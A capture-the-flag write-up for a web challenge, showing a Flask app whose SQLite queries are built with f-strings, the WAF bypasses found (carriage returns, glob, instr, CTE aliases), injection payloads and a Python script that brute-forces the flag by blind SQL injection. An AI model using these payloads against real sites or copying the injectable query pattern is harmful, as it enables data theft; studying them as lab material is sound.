3 minute read

Overview

  • 30 solves / 127 points
  • Author: Discord onsra

Description

Hmmmmm, u are QuiBuu, right? xD

Attached

quibuu_dist.zip

This is app.py file

from flask import Flask, render_template, request
import random
import re
import urllib.parse
import sqlite3

app = Flask(__name__)


def waf_cuc_chill(ans):
    # idk, I thought too much of a good thing
    ans = urllib.parse.quote(ans)
    pattern = re.compile(r'(and|0r|substring|subsrt|if|case|cast|like|>|<|(?:/\%2A.*?\%2A/)|\\|~|\+|-|when|then|order|name|url|;|--|into|limit|update|delete|drop|join|version|not|hex|load_extension|round|random|lower|replace|likely|iif|abs|char|unhex|unicode|trim|offset|count|upper|sqlite_version\(\)|#|true|false|max|\^|length|all|values|0x.*?|left|right|mid|%09|%0A|%20|\t)', re.IGNORECASE)
    
    if pattern.search(ans):
        return True
    return False

@app.route("/", methods=["GET"])
def index():
    ran = random.randint(1, 11)
    id, ans= request.args.get("id", default=f"{ran}"), request.args.get("ans", default="")

    if not (id and str(id).isdigit() and int(id) >= 1 and int(id) <= 1301):
        id = 1
    

    db = sqlite3.connect("hehe.db")
    cursor = db.execute(f"SELECT URL FROM QuiBuu WHERE ID = {id}")
    img = cursor.fetchone()[0]

    if waf_cuc_chill(ans):
        return render_template("hack.html")
    
    cursor = db.execute(f"SELECT * FROM QuiBuu where ID = {id} AND Name = '{ans}'")
    result = cursor.fetchall()

    check = 0
    if result != []:
        check = 1
    elif result == [] and ans != "" :
        check = 2

    return render_template("index.html", id=id, img=img, ans=ans, check=check)

if __name__ == "__main__":
    app.run()

Analyzation

Check around, the flag is in the database, therefore our target is sqli.

id = 1337, name=ISITDTU, URL = flag

There are two sql queries:

db = sqlite3.connect("hehe.db")
cursor = db.execute(f"SELECT URL FROM QuiBuu WHERE ID = {id}")
img = cursor.fetchone()[0]

and

    cursor = db.execute(f"SELECT * FROM QuiBuu where ID = {id} AND Name = '{ans}'")
    result = cursor.fetchall()

    check = 0
    if result != []:
        check = 1
    elif result == [] and ans != "" :
        check = 2

The first sql query is useless since id will never reach 1337.

if not (id and str(id).isdigit() and int(id) >= 1 and int(id) <= 1301):
    id = 1

So the second query will be used, and to the ans variable. In this problem, error-based sqli works fine.

But we have to bypass waf first

if waf_cuc_chill(ans):
    return render_template("hack.html")

These are some vulnerabilities of waf

  • Two columns’ name in the database are blocked, name and url, column id and the table name QuiBuu are not blocked.

  • Keywords in a query, such as select, from, where, and others, are not blocked.

  • It blocks almost all whitespace characters, except for \r.

  • The input string is not escaped.

  • Keyword like is blocked, but keyword glob can be used instead.

  • substring() is blocked, but instr() is not. This is the keypoint.

Exploitation

Firstly, my idea was

id = 10
ans = "Naruto' union select * from QuiBuu where url glob \'ISIT*"
ans = ans.replace(" ", "\r")

I tried to select url column with many ways. But it was not work since the keyword was blocked. Then I created a temporary table to use alias

id = 10
ans = "Naruto' OR (WITH cte(c1,c2,c3) AS (SELECT * FROM QuiBuu) SELECT instr(c3,'{flag_guess}') FROM cte WHERE c1='1337') OR id='200000"
ans = ans.replace(" ", "\r")
  • If flag_guess is correct, the query will return all data in tables.

Another payload using GROUP_CONCAT().

id = 10
ans = "a' OR (SELECT instr(( SELECT GROUP_CONCAT(\"pet\") FROM ( SELECT \"admin\", \"user\", \"pet\" UNION SELECT * FROM QuiBuu WHERE id=1337 ) ), \"{flag_guess}\"))/*"
ans = ans.replace(" ", "\r")

Now the third column is no longer url, but pet.

Solution

import requests
import string

ALPHABET = "_}" + string.ascii_lowercase + string.digits + string.ascii_uppercase
URL = "http://localhost:1301/?id={}&ans={}"

id = 10
ans = "Naruto' OR (WITH cte(c1,c2,c3) AS (SELECT * FROM QuiBuu) SELECT instr(c3,'{}') FROM cte WHERE c1='1337') OR id='200000"
ans = ans.replace(" ", "\r")

flag = "ISITDTU{"
while "}" not in flag:
    for c in ALPHABET:
        response = requests.get(URL.format(id, ans.format(flag + c)))
        if b"Haha QuiBuu" in response.content:
            flag = flag + c
            print(f"-----------flag_guess: {flag} ------------")
            break
print(URL.format(id, ans.format(flag + c)).encode())